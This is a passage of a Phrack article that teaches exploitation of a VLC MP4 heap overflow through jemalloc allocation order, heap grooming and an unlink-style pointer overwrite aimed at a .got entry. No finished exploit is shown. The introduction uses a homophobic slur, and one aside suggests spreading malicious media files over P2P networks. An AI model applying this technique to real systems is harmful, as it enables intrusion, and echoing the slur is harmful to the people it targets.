mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
2264 lines
101 KiB
Text
2264 lines
101 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0e, Issue 0x44, Phile #0x0d of 0x13
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------=[ The Art of Exploitation ]=-----------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------------------=[ Exploiting VLC ]=---------------------------|
|
||
|
|=------------=[ A case study on jemalloc heap overflows ]=--------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=------------------------=[ huku | argp ]=------------------------=|
|
||
|
|=--------------------=[ {huku,argp}@grhack.net ]=---------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Table of contents
|
||
|
|
||
|
1 - Introduction
|
||
|
1.1 - Assumptions
|
||
|
2 - Notes on jemalloc magazines
|
||
|
2.1 - Your heap reversed
|
||
|
2.2 - Your reversed heap reversed again
|
||
|
2.3 - Sum up of jemalloc magazine facts
|
||
|
3 - 'MP4_ReadBox_skcr()' heap overflow vulnerability
|
||
|
3.1 - MP4 file format structure
|
||
|
3.2 - Vulnerability details
|
||
|
3.3 - Old is gold; 'unlink()' style ftw
|
||
|
3.4 - Controlling 'p_root' data
|
||
|
3.5 - MP4 exploitation sum up
|
||
|
4 - Real Media 'DemuxAudioSipr()' heap overflow vulnerability
|
||
|
4.1 - VLC as a transcoder
|
||
|
4.2 - RMF? What's that?
|
||
|
4.3 - Vulnerability details
|
||
|
4.4 - 'p_blocks' all over the place
|
||
|
4.5 - RMF summary
|
||
|
5 - Building a reliable exploit
|
||
|
5.1 - Overall process
|
||
|
5.2 - Detecting 'p_root' address candidates
|
||
|
6 - Demonstration
|
||
|
7 - Limitations
|
||
|
8 - Final words
|
||
|
9 - References
|
||
|
10 - T3h l337 c0d3z
|
||
|
|
||
|
|
||
|
--[ 1 - Introduction
|
||
|
|
||
|
The idiom 'exploitation is an art' has been written in Phrack so many
|
||
|
times that it has probably ended up sounding cliche. With the emergence
|
||
|
of ASLR, NX, stack cookies, 'unlink()' protections and so on, exploit
|
||
|
writers seem to have realized the value of their code and have stopped
|
||
|
sharing their work with ugly faggots (you know who you are). Just have
|
||
|
a look at the various mailing lists and exploit archives; even the tons
|
||
|
of Linux kernel exploits found there are almost trash. Obviously it's not
|
||
|
the exploit writers that have lost their abilities; it's probably because
|
||
|
they don't care to share fully weaponized code (that's only a privilege of
|
||
|
people who pay for [censored] or [censored] lulz). The fact that working
|
||
|
exploits have stopped being released doesn't necessarily mean that the
|
||
|
underground has stopped their development. Although there's no way for
|
||
|
us to know, we believe we would all be amazed if we were to have even a
|
||
|
glimpse of what the underground has to offer (watch and learn: [1], [2]).
|
||
|
|
||
|
In order to develop the exploit presented in this article, we spent about
|
||
|
a month of continuous late nights in front of ugly terminals, eating junk
|
||
|
and taking breaks only to piss and shit (funny times). We managed to
|
||
|
develop a reliable local exploit for VLC. By 'almost' we mean that it is
|
||
|
possible to make our code 100% reliable but some work is still required;
|
||
|
we wish we had more time but Phrack had to be released. More details
|
||
|
on how to extend our code and bypass the limitations that confine its
|
||
|
reliability are given at a later section. It would probably be a fun
|
||
|
pastime for someone to continue from where we left off; it's not that
|
||
|
hard after all the bullshit we had to face. We hope to show you why
|
||
|
developing an exploit nowadays requires hard work, dedication and at
|
||
|
least one memleak ;)
|
||
|
|
||
|
This phile was at first meant to be part of our jemalloc research also
|
||
|
presented in this Phrack issue. Nevertheless, the Phrack staff honored us
|
||
|
by asking if we were willing to write a separate text with an in-depth
|
||
|
analysis of all that voodoo we had to perform. Readers might agree that
|
||
|
VLC is not the most exotic target one can come up with, but we decided
|
||
|
not to disclose any 0day vulnerabilities and keep it going with a list
|
||
|
of already published material, found by carefully looking for advisories
|
||
|
tagged as 'heap based overflows' (we could have googled for 'potential
|
||
|
DoS' as well, since it usually means ring0 access ;). Keep in mind that
|
||
|
we wouldn't like to present a vulnerability that would be trivial to
|
||
|
exploit. We were looking for a target application with a large codebase;
|
||
|
VLC and Firefox were our primary candidates. We finally decided to deal
|
||
|
with the first. The result was a local exploit that does not require
|
||
|
the user to give any addresses; it can figure out everything by itself.
|
||
|
|
||
|
|
||
|
----[ 1.1 - Assumptions
|
||
|
|
||
|
For the shake of writing this article...
|
||
|
|
||
|
1 - We assume that the attacker has local access on a server running VLC.
|
||
|
The VLC instance must have at least one of its several control interfaces
|
||
|
enabled (HTTP via --extraintf, RC via --rc-host or --rc-unix), that
|
||
|
will be used to issue media playback requests to the target and make
|
||
|
the whole process interactive, that is VLC should be running in 'daemon'
|
||
|
mode. Most people will probably think that those control interfaces can
|
||
|
also be used to perform a remote attack; they are right. Although, the
|
||
|
MP4 vulnerability exploited in this article cannot be used for remote
|
||
|
exploitation, developing a reliable remote exploit is, indeed, feasible
|
||
|
and in fact, it's just a matter of modifying the attached code.
|
||
|
|
||
|
Note: Remote exploitation using MP4 files can be performed by streaming
|
||
|
MP4 data to the VLC server. Unfortunately, MP4 streams are handled by
|
||
|
libffmpeg while MP4 files by VLC's custom MP4 demuxer. Don't get us
|
||
|
wrong, we don't believe that ffmpeg is bug-free; it might be vulnerable
|
||
|
to the exact same flaw, we just didn't have the time to investigate
|
||
|
it further.
|
||
|
|
||
|
2 - VLC cannot be run as root, so, don't expect uid 0 shells. We will
|
||
|
only try to stress the fact that some people will go to great lengths
|
||
|
to have your ass in their plate. Hacking is all about information,
|
||
|
the more information the easier for you to elevate to root.
|
||
|
|
||
|
3 - We assume our target is a x86 machine running FreeBSD-8.2-RELEASE,
|
||
|
the exact same version we used during our main jemalloc research.
|
||
|
|
||
|
4 - Last but not least, we assume you have read and understood our
|
||
|
jemalloc analysis. We don't expect you to be a jemalloc ninja, but
|
||
|
studying our work the way you do your morning newspaper will not get
|
||
|
you anywhere either ;)
|
||
|
|
||
|
|
||
|
--[ 2 - Notes on jemalloc magazines
|
||
|
|
||
|
----[ 2.1 - Your heap reversed
|
||
|
|
||
|
In our main jemalloc research we discussed the use of 'magazines' as a
|
||
|
thread contention avoidance mechanism. Briefly, when a process spawns
|
||
|
multiple threads, a global variable called '__isthreaded' is set to
|
||
|
true. This variable, which can be accessed via the 'extern' storage
|
||
|
class specifier by any application, instructs jemalloc to initialize
|
||
|
thread-local data structures for caching heap allocations. Those
|
||
|
data structures, the so called 'magazines', are allocated and populated
|
||
|
in a lazy fashion. In the case of 'malloc()', a threaded application
|
||
|
will eventually reach the 'if' clause shown below ('MALLOC_MAG' and
|
||
|
'opt_mag' are enabled by default).
|
||
|
|
||
|
|
||
|
#ifdef MALLOC_MAG
|
||
|
static __thread mag_rack_t *mag_rack;
|
||
|
#endif
|
||
|
|
||
|
...
|
||
|
|
||
|
static inline void *
|
||
|
arena_malloc(arena_t *arena, size_t size, bool zero)
|
||
|
{
|
||
|
...
|
||
|
|
||
|
if(size <= bin_maxclass) {
|
||
|
#ifdef MALLOC_MAG
|
||
|
if(__isthreaded && opt_mag) {
|
||
|
mag_rack_t *rack = mag_rack;
|
||
|
if(rack == NULL) {
|
||
|
rack = mag_rack_create(arena);
|
||
|
if(rack == NULL)
|
||
|
return (NULL);
|
||
|
mag_rack = rack;
|
||
|
}
|
||
|
return(mag_rack_alloc(rack, size, zero));
|
||
|
}
|
||
|
...
|
||
|
#endif
|
||
|
|
||
|
...
|
||
|
}
|
||
|
|
||
|
|
||
|
The first point of interest is the '__thread' classifier in the
|
||
|
declaration of 'mag_rack'. This specifier instructs gcc/binutils to
|
||
|
make use of the, so called, TLS (Thread Local Storage) mechanism. The
|
||
|
'__thread' declarations are grouped and then act as a prototype for
|
||
|
the initialization of each thread. Simply put, each thread spawned via
|
||
|
'pthread_create()' will inherit its own private copy of 'mag_rack'
|
||
|
initialized to 'NULL' since it's also declared as 'static'. Access to
|
||
|
thread local memory is transparent to the user; each time 'mag_rack'
|
||
|
is referenced, the runtime automatically figures out where the thread's
|
||
|
private memory can be found.
|
||
|
|
||
|
It's now easier to understand how 'arena_malloc()' will act once
|
||
|
'__isthreaded' and 'opt_mag' are set to true. First the existing
|
||
|
'magazine rack' pointer is checked; if NULL, 'mag_rack_create()' will
|
||
|
be called to (a) initialize the 'mag_rack_t' structure and (b) populate
|
||
|
it with preallocated memory regions for the bin that corresponds to the
|
||
|
requested size (notice that magazine racks are only used for bin-sized
|
||
|
allocations; larger ones follow another code path).
|
||
|
|
||
|
Assume a random thread in a random application calls 'malloc(4)'. The
|
||
|
instruction pointer will soon reach a call to 'mag_rack_alloc(mag_rack,
|
||
|
4, false);'.
|
||
|
|
||
|
|
||
|
static inline void *
|
||
|
mag_rack_alloc(mag_rack_t *rack, size_t size, bool zero)
|
||
|
{
|
||
|
void *ret;
|
||
|
bin_mags_t *bin_mags;
|
||
|
mag_t *mag;
|
||
|
size_t binind;
|
||
|
|
||
|
binind = size2bin[size]; /* (1) */
|
||
|
...
|
||
|
|
||
|
bin_mags = &rack->bin_mags[binind]; /* (2) */
|
||
|
|
||
|
mag = bin_mags->curmag; /* (3) */
|
||
|
if (mag == NULL) {
|
||
|
/* Create an initial magazine for this size class. */
|
||
|
|
||
|
mag = mag_create(choose_arena(), binind);
|
||
|
|
||
|
bin_mags->curmag = mag;
|
||
|
mag_load(mag);
|
||
|
}
|
||
|
|
||
|
ret = mag_alloc(mag);
|
||
|
...
|
||
|
|
||
|
return (ret);
|
||
|
}
|
||
|
|
||
|
|
||
|
The input size is converted to a bin index (1), for a size of 4,
|
||
|
'binind' will be set to 0. Each magazine rack has its own set of bins
|
||
|
which are private to the thread (2). Variable 'mag' is set to point to
|
||
|
the rack's 'magazine' for this specific bin size (3). A 'magazine' is a
|
||
|
simple array of void pointers, called 'rounds[]', that holds addresses
|
||
|
of preallocated memory regions of equal size. Function 'mag_load()' is
|
||
|
called to initialize it. Here's where things start to get more interesting
|
||
|
and may influence the exploitation process in a significant way. Skimming
|
||
|
through 'mag_load()' reveals the following:
|
||
|
|
||
|
|
||
|
static void
|
||
|
mag_load(mag_t *mag)
|
||
|
{
|
||
|
...
|
||
|
arena = choose_arena(); /* (1) */
|
||
|
bin = &arena->bins[mag->binind];
|
||
|
|
||
|
for (i = mag->nrounds; i < max_rounds; i++) {
|
||
|
...
|
||
|
|
||
|
round = arena_bin_malloc_easy(arena, bin, run); /* (2) */
|
||
|
...
|
||
|
|
||
|
mag->rounds[i] = round;
|
||
|
}
|
||
|
...
|
||
|
|
||
|
mag->nrounds = i;
|
||
|
...
|
||
|
}
|
||
|
|
||
|
|
||
|
Depending on the build configuration, 'choose_arena()' (1) may statically
|
||
|
assign a thread to the same arena or dynamically to a different one
|
||
|
every time it gets called. No matter what the assignment process looks
|
||
|
like, we can see that at (2), the 'rounds[]' array is populated by a
|
||
|
normal call to 'arena_bin_malloc_easy()' (or 'arena_bin_malloc_hard()');
|
||
|
the function that a process would call had it not been threaded. Since
|
||
|
the heap internals work in a purely deterministic way (for now ignore
|
||
|
the inherent non-determinism regarding thread scheduling), we can be
|
||
|
quite sure that the regions whose addresses are stored in 'rounds[]'
|
||
|
will probably be contiguous. Assuming no holes are found in the heap
|
||
|
(which is easy to assume since an experienced exploit developer knows
|
||
|
how to fill them), the regions returned by 'arena_bin_malloc_xxx()'
|
||
|
will be in increasing memory addresses as shown in the following figure.
|
||
|
|
||
|
|
||
|
Run (PAGE_SIZE) that services 4byte allocations
|
||
|
.-------.-------.-----.-------.
|
||
|
0xdeadb000 | reg 1 | reg 2 | ... | reg N |
|
||
|
'-------'-------'-----'-------'
|
||
|
^ ^ ^
|
||
|
| .-' '--.
|
||
|
| | |
|
||
|
.-----.-----.-----.-----.
|
||
|
| 0 | 1 | ... | M |
|
||
|
'-----'-----'-----'-----'
|
||
|
rounds[] array
|
||
|
|
||
|
|
||
|
Once initialization is complete, we return back to 'mag_rack_alloc()'
|
||
|
that calls 'mag_alloc()' to pick an entry in the 'rounds[]' array to
|
||
|
give to the user.
|
||
|
|
||
|
|
||
|
mag_alloc(mag_t *mag) {
|
||
|
if (mag->nrounds == 0)
|
||
|
return (NULL);
|
||
|
|
||
|
mag->nrounds--; /* (1) */
|
||
|
|
||
|
return (mag->rounds[mag->nrounds]); /* (2) */
|
||
|
}
|
||
|
|
||
|
|
||
|
If this is the first allocation taking place in the thread, 'mag_alloc()'
|
||
|
will return the last element of the 'rounds[]' array. The 'malloc(4)'
|
||
|
calls that may follow will be served by the exact same magazine with
|
||
|
regions in decreasing memory addresses! That is, magazines are populated
|
||
|
in a 'forward' fashion but consumed in 'backward' one so that if you
|
||
|
allocate, for example, 3 regions, their memory order will be 321 instead
|
||
|
of 123 :)
|
||
|
|
||
|
|
||
|
----[ 2.2 - Your reversed heap reversed again
|
||
|
|
||
|
As explained in our main jemalloc article, '__isthreaded' is set to true
|
||
|
after a successful call to 'pthread_create()' (in fact, it is enabled by
|
||
|
libthr) and remains as such until the end of the program's lifetime, that
|
||
|
is, joining the threads will not set '__isthreaded' to 0. Consequently,
|
||
|
once the magazine racks have been initialized, jemalloc will keep using
|
||
|
them no matter what the number of active threads is.
|
||
|
|
||
|
As explained in the previous section, continuous allocations serviced by
|
||
|
magazines, may return memory regions in decreasing memory addresses. We
|
||
|
keep using the word 'may' because this is not always the case. Consider
|
||
|
the following code snippet which we advise that you read carefully:
|
||
|
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <pthread.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
extern int __isthreaded;
|
||
|
void *allocs[10];
|
||
|
|
||
|
void start_allocs(void) {
|
||
|
int i;
|
||
|
printf("Allocating regions\n");
|
||
|
for(i = 0; i < 10; i++) {
|
||
|
allocs[i] = malloc(192);
|
||
|
printf("%p\n", allocs[i]);
|
||
|
}
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
void free_allocs(void) {
|
||
|
int i;
|
||
|
printf("Freeing the regions\n");
|
||
|
for(i = 0; i < 10; i++)
|
||
|
free(allocs[i]);
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
void free_allocs_rev(void) {
|
||
|
int i;
|
||
|
printf("Freeing the regions in reverse order\n");
|
||
|
for(i = 10 - 1; i >= 0; i--)
|
||
|
free(allocs[i]);
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
void *thread_runner(void *p) {
|
||
|
int rev = *(int *)p;
|
||
|
|
||
|
sleep(1);
|
||
|
|
||
|
if(rev)
|
||
|
free_allocs_rev();
|
||
|
else
|
||
|
free_allocs();
|
||
|
|
||
|
start_allocs();
|
||
|
return NULL;
|
||
|
}
|
||
|
|
||
|
int main(int argc, char *argv[]) {
|
||
|
pthread_t tid;
|
||
|
int rev = 0;
|
||
|
|
||
|
if(argc > 1)
|
||
|
rev = atoi(argv[1]);
|
||
|
|
||
|
start_allocs();
|
||
|
pthread_create(&tid, NULL, thread_runner, (void *)&rev);
|
||
|
pthread_join(tid, NULL);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
There are three important functions in the code above; 'start_allocs()'
|
||
|
which allocates 10 memory regions that will be serviced by bin-192,
|
||
|
'free_allocs()' that frees the aforementioned regions in a 'forward'
|
||
|
fashion and 'free_allocs_rev()' that will do the same thing but in reverse
|
||
|
order. The 'allocs[]' array holds pointers to allocated regions. On
|
||
|
startup, 'main()' will call 'start_allocs()' to populate 'allocs[]'
|
||
|
and then will fire up a thread that will free those regions. Carefully
|
||
|
looking at jemalloc's code, reveals that even on deallocation, a new
|
||
|
magazine rack will be allocated and the regions being freed will be
|
||
|
eventually inserted in the thread's magazine for that specific size class!
|
||
|
You can think of that as the memory regions changing ownership; regions
|
||
|
belonging to the main thread, become property of the new thread started by
|
||
|
'pthread_create()'.
|
||
|
|
||
|
Once the new thread calls 'start_allocs()', the exact same regions that
|
||
|
were previously freed will be eventually be returned to the caller. The
|
||
|
order by which they will be returned, depends on the way they were freed
|
||
|
in the first place. Let's run our test program above by passing it the
|
||
|
value 0 in 'argv[1]'; this will ask the thread to free the regions in
|
||
|
the normal way.
|
||
|
|
||
|
|
||
|
[hk@lsd ~]$ ./test 0
|
||
|
Allocating regions
|
||
|
0x282070c0
|
||
|
0x28207180
|
||
|
0x28207240
|
||
|
0x28207300
|
||
|
0x282073c0
|
||
|
0x28207480
|
||
|
0x28207540
|
||
|
0x28207600
|
||
|
0x282076c0
|
||
|
0x28207780
|
||
|
Freeing the regions
|
||
|
Allocating regions
|
||
|
0x28207780
|
||
|
0x282076c0
|
||
|
0x28207600
|
||
|
0x28207540
|
||
|
0x28207480
|
||
|
0x282073c0
|
||
|
0x28207300
|
||
|
0x28207240
|
||
|
0x28207180
|
||
|
0x282070c0
|
||
|
|
||
|
|
||
|
As you can see, the calls to 'malloc()' performed by the thread, return
|
||
|
the regions in reverse order; this is very similar to what the previous
|
||
|
section explained. Now let's free the regions allocated by 'main()'
|
||
|
by calling 'free_allocs_rev()':
|
||
|
|
||
|
|
||
|
[hk@lsd ~]$ ./test 1
|
||
|
Allocating regions
|
||
|
0x282070c0
|
||
|
0x28207180
|
||
|
0x28207240
|
||
|
0x28207300
|
||
|
0x282073c0
|
||
|
0x28207480
|
||
|
0x28207540
|
||
|
0x28207600
|
||
|
0x282076c0
|
||
|
0x28207780
|
||
|
Freeing the regions in reverse order
|
||
|
Allocating regions
|
||
|
0x282070c0
|
||
|
0x28207180
|
||
|
0x28207240
|
||
|
0x28207300
|
||
|
0x282073c0
|
||
|
0x28207480
|
||
|
0x28207540
|
||
|
0x28207600
|
||
|
0x282076c0
|
||
|
0x28207780
|
||
|
|
||
|
|
||
|
Interestingly, the regions are returned in the same order as they were
|
||
|
allocated. You can think of that as the 'rounds[]' array in 'mag_load()'
|
||
|
being reversed; the allocations are freed in the reverse order and
|
||
|
placed in 'rounds[]' but 'mag_alloc()' gives out regions in reverse
|
||
|
order too... Reverse + reverse = obverse ;)
|
||
|
|
||
|
So why this is important? Regions of a commonly used size (e.g 64), are
|
||
|
usually allocated by a program before 'pthread_create()' is called. Once a
|
||
|
thread is created and '__isthreaded' is set to true, freeing those regions
|
||
|
may result in some thread becoming their master. Future allocations from
|
||
|
the thread in question, may return regions in the normal way rather than
|
||
|
in decreasing memory addresses as shown in the previous section. This
|
||
|
a very important observation that an exploit coder must keep in mind
|
||
|
while targeting FreeBSD applications or any program utilizing jemalloc.
|
||
|
|
||
|
In the sections to follow, we will be dealing with two vulnerabilities;
|
||
|
one in the MP4 demuxer and one in the RMF parser. The first concerns
|
||
|
4-byte allocations which are not that common. As a result, VLC which
|
||
|
is a multithreaded application, will by default return such regions in
|
||
|
decreasing locations. On the contrary, the RMF vulnerability is related
|
||
|
to 192-byte regions, which, being larger, are more common. Several 192-byte
|
||
|
allocations may have been created or destroyed before 'pthread_create()'
|
||
|
is called and thus we cannot guarantee their re-allocation order. It
|
||
|
is for this purpose that we have to employ more tricks for the latter
|
||
|
vulnerability.
|
||
|
|
||
|
|
||
|
----[ 2.3 - Sum up of jemalloc magazine facts
|
||
|
|
||
|
To sum up:
|
||
|
|
||
|
1 - While in glibc and dlmalloc you were used to seeing new memory
|
||
|
regions getting allocated in higher addresses, this is not the case with
|
||
|
jemalloc. If magazines are enabled, continuous allocations may return
|
||
|
regions in decreasing memory order. It's quite easy for anyone to verify
|
||
|
by pure observation.
|
||
|
|
||
|
2 - Don't get 1 for granted. Depending on the order the allocations were
|
||
|
performed, even if thread magazines are enabled, memory regions may end
|
||
|
up being returned in the normal order. This, for example, can happen when
|
||
|
memory regions that were allocated before the first thread is spawned,
|
||
|
are eventually freed by one of the threads.
|
||
|
|
||
|
3 - Always remember that jemalloc does not make use of meta-information
|
||
|
embedded within the regions themselves. The fact that there are no
|
||
|
inline metadata bordering the end user allocations sounds like good
|
||
|
news. It's both a wise design choice and a powerful primitive in the
|
||
|
attacker's hands.
|
||
|
|
||
|
4 - For i = 0 ... 10 goto 1
|
||
|
|
||
|
|
||
|
--[ 3 - 'MP4_ReadBox_skcr()' heap overflow vulnerability
|
||
|
|
||
|
----[ 3.1 - MP4 file format structure
|
||
|
|
||
|
The very first vulnerability we will be analyzing is a heap overflow
|
||
|
within VLC's MP4 demuxer [4]. As stated earlier, VLC's builtin MP4
|
||
|
demuxer is only used for local files, as opposed to network streams that
|
||
|
go through an alternate code path, ending up being handled by libffmpeg
|
||
|
code. Properly parsing a media file is a very cumbersome task involving
|
||
|
complex sanity checks. File format parsers and especially those related
|
||
|
to media files have been the root cause of many vulnerabilities in the
|
||
|
past (remember all that 'RIAA employing Gobbles to pwn media players' [3]
|
||
|
bullshit?). We are definitely not experts when it comes to multimedia
|
||
|
formats; we will only take a look at how an MP4 file is structured, no
|
||
|
details will be given on signal processing and encoding/decoding stuff,
|
||
|
since the actual vulnerability is by no means related to the mathematics
|
||
|
involved in the MP4 specifications (we imagine that there are juicy bugs
|
||
|
there too ;)
|
||
|
|
||
|
Briefly, an MP4 file looks like a tree of nodes serialized in a depth
|
||
|
first order with the root node coming first (people that have experience
|
||
|
with DWARF will probably notice the similarities). Tree nodes are split
|
||
|
in two categories: containers and leaf nodes, also known as 'boxes',
|
||
|
with the later holding the media information (both data and metadata) and
|
||
|
the first playing the role of logically connecting its children. There
|
||
|
are several types of boxes (frma, skcr, dref, url, urn, etc.) as well as
|
||
|
several types of containers (ftyp, udta, moov, wave, etc.).
|
||
|
|
||
|
Easter egg: We believe URLs embedded withing MP4 meta-information,
|
||
|
which are normally used to fetch artist names, cover artwork and so on,
|
||
|
may also be used for performing web attacks. Let us know if you have
|
||
|
experience on this ;) Dear Anonymous, did you know that sharing such
|
||
|
media files in P2P networks may be used for more uniformly distributed
|
||
|
attacks?
|
||
|
|
||
|
Each tree node, weather a container or a box, is represented by a
|
||
|
structure called 'MP4_Box_t' defined in modules/demux/mp4/libmp4.h:970:
|
||
|
|
||
|
|
||
|
typedef struct MP4_Box_s {
|
||
|
off_t i_pos; /* Offset of node in the file */
|
||
|
uint32_t i_type; /* Node type */
|
||
|
...
|
||
|
uint64_t i_size; /* Size of data including headers etc */
|
||
|
MP4_Box_data_t data; /* A union of pointers; depends on 'i_type' */
|
||
|
|
||
|
/* Tree related pointers */
|
||
|
struct MP4_Box_s *p_father;
|
||
|
struct MP4_Box_s *p_first;
|
||
|
struct MP4_Box_s *p_last;
|
||
|
struct MP4_Box_s *p_next;
|
||
|
} MP4_Box_t;
|
||
|
|
||
|
|
||
|
The vulnerability lies in the function responsible for parsing boxes of
|
||
|
type 'skcr'.
|
||
|
|
||
|
|
||
|
----[ 3.2 - Vulnerability details
|
||
|
|
||
|
For each box type, a dispatch table is used to call the appropriate
|
||
|
function that handles its contents. For 'skcr' boxes, 'MP4_ReadBox_skcr()'
|
||
|
is responsible for doing the dirty work.
|
||
|
|
||
|
|
||
|
/* modules/demux/mp4/libmp4.c:2248 */
|
||
|
static int MP4_ReadBox_skcr(..., MP4_Box_t *p_box) {
|
||
|
MP4_READBOX_ENTER(MP4_Box_data_frma_t);
|
||
|
|
||
|
MP4_GET4BYTES(p_box->data.p_skcr->i_init);
|
||
|
MP4_GET4BYTES(p_box->data.p_skcr->i_encr);
|
||
|
MP4_GET4BYTES(p_box->data.p_skcr->i_decr);
|
||
|
|
||
|
...
|
||
|
}
|
||
|
|
||
|
|
||
|
'MP4_READBOX_ENTER()' is a macro that, among other things, will allocate a
|
||
|
structure of the given type and store it in 'p_box->data.p_data'. Macro
|
||
|
'MP4_GET4BYTES()' will just read 4 bytes off the input stream and store
|
||
|
it in the region pointed by the argument. While messing with the VLC
|
||
|
internals, it's good to keep in mind that integers in MP4 files (as well
|
||
|
as other media types) are in big endian order.
|
||
|
|
||
|
The vulnerability is kind of obvious; instead of allocating a
|
||
|
'MP4_Box_data_skcr_t' structure, 'MP4_ReadBox_skcr()' allocates
|
||
|
an 'MP4_Box_data_frma_t', but later on, the pointer is assumed to
|
||
|
point to a struct of the first type (notice how 'MP4_GET4BYTES()' is
|
||
|
used; the 'data' union of the 'MP4_Box_t' is assumed to point to the
|
||
|
correct structure). 'MP4_Box_data_frma_t', on x86, is 4 bytes long but
|
||
|
'MP4_ReadBox_skcr()' will treat it as having a size of 12 bytes (the
|
||
|
real size of 'MP4_Box_data_skcr_t'), resulting in 8 bytes being written
|
||
|
off the heap region boundaries.
|
||
|
|
||
|
|
||
|
----[ 3.3 - Old is gold; 'unlink()' style ftw
|
||
|
|
||
|
The very first thing to note is the size of the victim structure (the
|
||
|
one being overflown). 'MP4_Box_data_frma_t' has a size of 4 bytes, so,
|
||
|
it is handled by jemalloc's bin for this specific size class (depending on
|
||
|
the variant, 4 may or may not be the smallest bin size). As a consequence,
|
||
|
the 8 bytes written outside its bounds can only influence neighboring
|
||
|
allocations of equal size, namely 4. Exploit developers know that the
|
||
|
heap has to be specially prepared before triggering an overflow. For
|
||
|
this specific vulnerability, the attacker has to force VLC place
|
||
|
4-byte allocations of interest next to the victim structure. Looking
|
||
|
carefully in libmp4.h, reveals the following two box types which seem
|
||
|
to be interesting:
|
||
|
|
||
|
|
||
|
typedef struct {
|
||
|
char *psz_text;
|
||
|
} MP4_Box_data_0xa9xxx_t;
|
||
|
|
||
|
...
|
||
|
|
||
|
typedef struct MP4_Box_data_cmov_s {
|
||
|
struct MP4_Box_s *p_moov;
|
||
|
} MP4_Box_data_cmov_t;
|
||
|
|
||
|
|
||
|
Obviously, both structures are 4 bytes long and thus good target
|
||
|
candidates. 'MP4_Box_data_0xa9xxx_t' holds a pointer to a string we
|
||
|
control, and 'MP4_Box_data_cmov_t' a pointer to some 'MP4_Box_t' whose
|
||
|
type and contents may be partially influenced by the attacker. Let's focus
|
||
|
on the 'cmov' box first and why that 'p_moov' pointer is interesting. What
|
||
|
can we do if we eventually manage to place a 'cmov' box next to the victim
|
||
|
'frma' structure?
|
||
|
|
||
|
|
||
|
/* modules/demux/mp4/libmp4.c:2882 */
|
||
|
MP4_Box_t *MP4_BoxGetRoot(...) {
|
||
|
...
|
||
|
|
||
|
/* If parsing is successful... */
|
||
|
if(i_result) {
|
||
|
MP4_Box_t *p_moov;
|
||
|
MP4_Box_t *p_cmov;
|
||
|
|
||
|
/* Check if there is a cmov... */
|
||
|
if(((p_moov = MP4_BoxGet(p_root, "moov")) &&
|
||
|
(p_cmov = MP4_BoxGet(p_root, "moov/cmov"))) ||
|
||
|
((p_moov = MP4_BoxGet(p_root, "foov")) &&
|
||
|
(p_cmov = MP4_BoxGet(p_root, "foov/cmov")))) {
|
||
|
|
||
|
...
|
||
|
p_moov = p_cmov->data.p_cmov->p_moov; /* (1) */
|
||
|
...
|
||
|
p_moov->p_father = p_root; /* (2) */
|
||
|
...
|
||
|
}
|
||
|
}
|
||
|
|
||
|
return p_root;
|
||
|
}
|
||
|
|
||
|
|
||
|
'MP4_BoxGetRoot()' is the entry point of VLC's MP4 file parser. The
|
||
|
first 'if' block is entered when parsing has finished and everything
|
||
|
has gone smoothly; only fatal errors are taken into account. Certain
|
||
|
erroneous conditions are gracefully handled by aborting the parsing
|
||
|
process of the current tree node and continuing to the parent. The
|
||
|
second 'if' block looks up the 'cmov' box and, if one is found, VLC
|
||
|
will store the 'p_cmov->p_moov' in a local variable called 'p_moov'
|
||
|
(1). If we manage to overwrite the 'cmov' structure, then the value of
|
||
|
'p_moov' may arbitrarily be set by us. Then, at (2), an 'unlink()' style
|
||
|
pointer exchange takes place which will allow us to write the 'p_root'
|
||
|
pointer on a memory region of our choice.
|
||
|
|
||
|
But wait a minute... We control the address that 'p_root' is written
|
||
|
to, not 'p_root' nor the contents of the memory it points to. We need
|
||
|
to figure out a way of affecting the data at the location pointed to by
|
||
|
'p_root'. If we get to do that, then writing 'p_root' in a properly
|
||
|
selected .got entry may result in code execution.
|
||
|
|
||
|
For now, let's forget about 'p_root' and find a way of overwriting the
|
||
|
'p_moov' field of a 'cmov' box. First we need to perform several 4-byte
|
||
|
allocations to stabilize the heap and make sure that the 8 bytes to
|
||
|
be written to the adjacent regions will not end up in neighboring
|
||
|
run/chunk metadata. Such a situation may cause a segmentation fault on
|
||
|
the next call to 'malloc()'; that's something we would definitely like
|
||
|
to avoid. The tool for performing user controlled allocations is called
|
||
|
'MP4_ReadBox_0xa9xxx()', the function responsible for parsing boxes of
|
||
|
type 'MP4_Box_data_0xa9xxx_t'. A careful look at its code reveals that
|
||
|
we can allocate a string of any size we please; 'AAA\0' is exactly what
|
||
|
we need right now ;)
|
||
|
|
||
|
Now recall that in certain cases, when the target application is
|
||
|
threaded and has 'opt_mag' enabled, jemalloc will return memory regions
|
||
|
in descending memory addresses which is the case with VLC during the
|
||
|
MP4 parsing process. Extra threads are created and used to pre-process
|
||
|
the files, download album artwork and so on. What we really need to do
|
||
|
is force the heap to be shaped as shown below:
|
||
|
|
||
|
|
||
|
...[SKCR][JUNK][CMOV][AAA\0][AAA\0][AAA\0]...[AAA\0]...
|
||
|
- +
|
||
|
|
||
|
|
||
|
'JUNK' stands for a 1-byte allocation caused by a call to 'strdup("")'
|
||
|
right after 'cmov' is created. The 1-byte allocation ends up being serviced
|
||
|
by bin-4 since 4 is the minimum allocation granularity for the jemalloc
|
||
|
variant used in FreeBSD-8.2-RELEASE. The heap layout depicted above is
|
||
|
pretty straightforward to achieve; the attacker just creates a container
|
||
|
that holds several '0xa9xxx' boxes followed by 'cmov' and then an 'skcr'
|
||
|
that will overwrite the 'JUNK' and the 'p_moov' field of the 'cmov'
|
||
|
neighbor. The multithreading nature of VLC will result in the boxes
|
||
|
being allocated in reverse order, exactly as shown above.
|
||
|
|
||
|
We have successfully managed to overwrite the 'p_moov' pointer that acts
|
||
|
as the destination address in the 'unlink()' style pointer exchange. The
